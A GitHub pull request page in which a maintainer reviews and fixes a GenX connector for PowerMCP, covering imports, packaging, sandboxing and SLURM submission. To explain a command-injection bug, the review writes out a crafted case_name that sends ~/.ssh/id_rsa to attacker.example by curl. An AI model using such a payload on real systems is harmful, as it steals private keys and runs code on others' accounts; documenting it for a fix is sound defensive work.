Skip to content

Genx branch - #51

Merged
qian-harvard merged 5 commits into
Power-Agent:mainfrom
lauraahwa:genx_branch
Aug 22, 2026
Merged

Genx branch#51
qian-harvard merged 5 commits into
Power-Agent:mainfrom
lauraahwa:genx_branch

Conversation

@lauraahwa

Copy link
Copy Markdown
Contributor

Added functionality for use with GenX system.

@qian-harvard

Copy link
Copy Markdown
Contributor

Thanks for this — the GenX analysis work is genuinely useful, and the capacity-cost derivation in the README is a nice thing to have written down. Reviewed and integrated in #59, which carries your commits as a merge parent.

The branch merged cleanly into main, but a few things had to change before it could ship. Flagging them all here so they're visible, not just buried in the merge.

Blockers (the connector could not run or ship as-is)

  1. server.py:24 imported mcp.server.fastmcp, which mcp 2.0 removed. This repo pins mcp>=2,<3, so the server raised ModuleNotFoundError before registering a single tool. tests/test_sdk_imports.py exists to catch exactly this — every other server was migrated in Update PowerMCP for powerio 0.9.0 and MCP 2 #57 — but its SERVER_DIRS is a hardcoded list, so GenX wasn't covered. Now from mcp.server.mcpserver import MCPServer as FastMCP, and "GenX" is in that list.

  2. slurm.py:19 resolved GENX_DIR at import and raised RuntimeError when unset, so import GenX.server failed on any machine without a .env — including CI, and including anyone who only wanted the plotting tools, which need no cluster at all. Everything resolves at call time now, matching the rest of the repo (ANDES: "Storage directory resolved lazily").

  3. GenX was registered nowhere. Not in powermcp/registry.py, not in the wheel force-include, not in the sdist include list, and with no pip extra. The practical effect: python -m build produced a wheel and an sdist containing no GenX code at all, and powermcp run genx did not exist. All four are added; the built artifacts now carry powermcp/_servers/GenX/.

  4. Command injection via case_name. It landed unescaped inside echo "Case: {job_name}" (slurm.py:102) and #SBATCH --job-name={job_name} (slurm.py:88) in a script piped to sbatch. A case_name like x"; curl attacker.example/$(cat ~/.ssh/id_rsa | base64); echo " closes the quote and runs on the cluster under your account. case_path was validated by find_case; case_name was taken verbatim. Job names are now restricted to [A-Za-z0-9._-] and every interpolated value is shlex.quoted.

Also fixed

  1. summarize_capacity returned a pandas DataFrame from a tool annotated -> dict (server.py:71). MCP builds the output schema from that annotation, so the tool could not serialize its result. Now .to_dict(orient="records").

  2. print() went to stdout, which under mcp.run() is the JSON-RPC stream — diurnal_generation.py:161 and :199, plot_capacity.py:108. A stray line there corrupts the protocol. Routed to logging.

  3. load_capacity_csv printed on a missing required column and kept going, hitting KeyError: 'Resource' two lines later. Now raises with the missing and available columns named.

  4. No path argument went through powermcp.sandbox. plot_capacity(output_dir="/Users/me/.ssh") would happily write there. The policy is stated in powermcp/sandbox.py and every other connector follows it. Note case_dir/scenario_path are checked after resolution — since they may be relative to the GenX directory, only the resolver knows the path that actually gets opened.

  5. compute_capacity_cost silently skipped an unknown CapRes region (:100) and returned success: True with price_per_mw_day: 0.0 — a typo reads as "the capacity market clears at zero." Your zones argument twelve lines below already validated properly; capres_regions now matches it. Also guarded the total_cost / peak_demand divide (:126) against a zero peak.

  6. Three of six tools had no exception handling, so a missing file escaped as a raw MCP error while plot_diurnal_generation returned {"success": False, "message": ...}. One shape now. The greenfield early return also dropped file_path, so a caller reading it after checking success hit a KeyError on that branch alone.

  7. sbatch gained a timeout= — a wedged SLURM controller (routine on shared HPC) froze the entire server with no way for the client to recover.

Configuration change worth knowing about

The .env / python-dotenv mechanism is replaced by ~/.powermcp/config.toml (genx.repo_root), read through powermcp.config.get_path, the same way HOPE handles its repo_root. GENX_DIR still works and takes precedence, so your existing setup is unaffected. This drops a dependency the base install doesn't carry — which would have broken the entrypoint smoke test — and removes a second config mechanism. Cluster specifics (SLURM_*, JULIA_MODULE, …) stay environment variables, since they belong to the machine rather than the user. GenX/README.md documents all of it, including SLURM_PARTITION, which the code read but .env.example didn't mention.

Tests

tests/test_genx_server.py, 25 tests: SLURM script generation and injection refusal, configuration resolution, capacity CSV analysis, the shared error shape, and containment. Registering GenX also puts it into the existing entrypoint and SDK-import sweeps. Full suite: 408 passed, 17 skipped.

One thing left for you

plot_capacity.classify_resource and diurnal_generation.classify are two independent classifiers over the same GenX resource names, and they disagree: the first maps petroleum/oil into natural gas and distributed_generation to ignore, the second sends distributed_generation to Solar and petroleum to Other. They also use different key spaces (natural_gas vs Natural Gas), which is why plot_capacity.py:26 re-keys the shared palette through a translation table. The same case plotted by plot_capacity and by plot_diurnal_generation attributes MW to different technologies. I left this alone — unifying them changes plot output and that's a call for whoever knows which classification is the intended one. Filed as a follow-up.

Closing in favour of #59.

qian-harvard added a commit that referenced this pull request Aug 22, 2026
feat(genx): GenX connector — capacity analysis, diurnal plots, SLURM submission (integrates #51)
@qian-harvard
qian-harvard merged commit 6a36913 into Power-Agent:main Aug 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants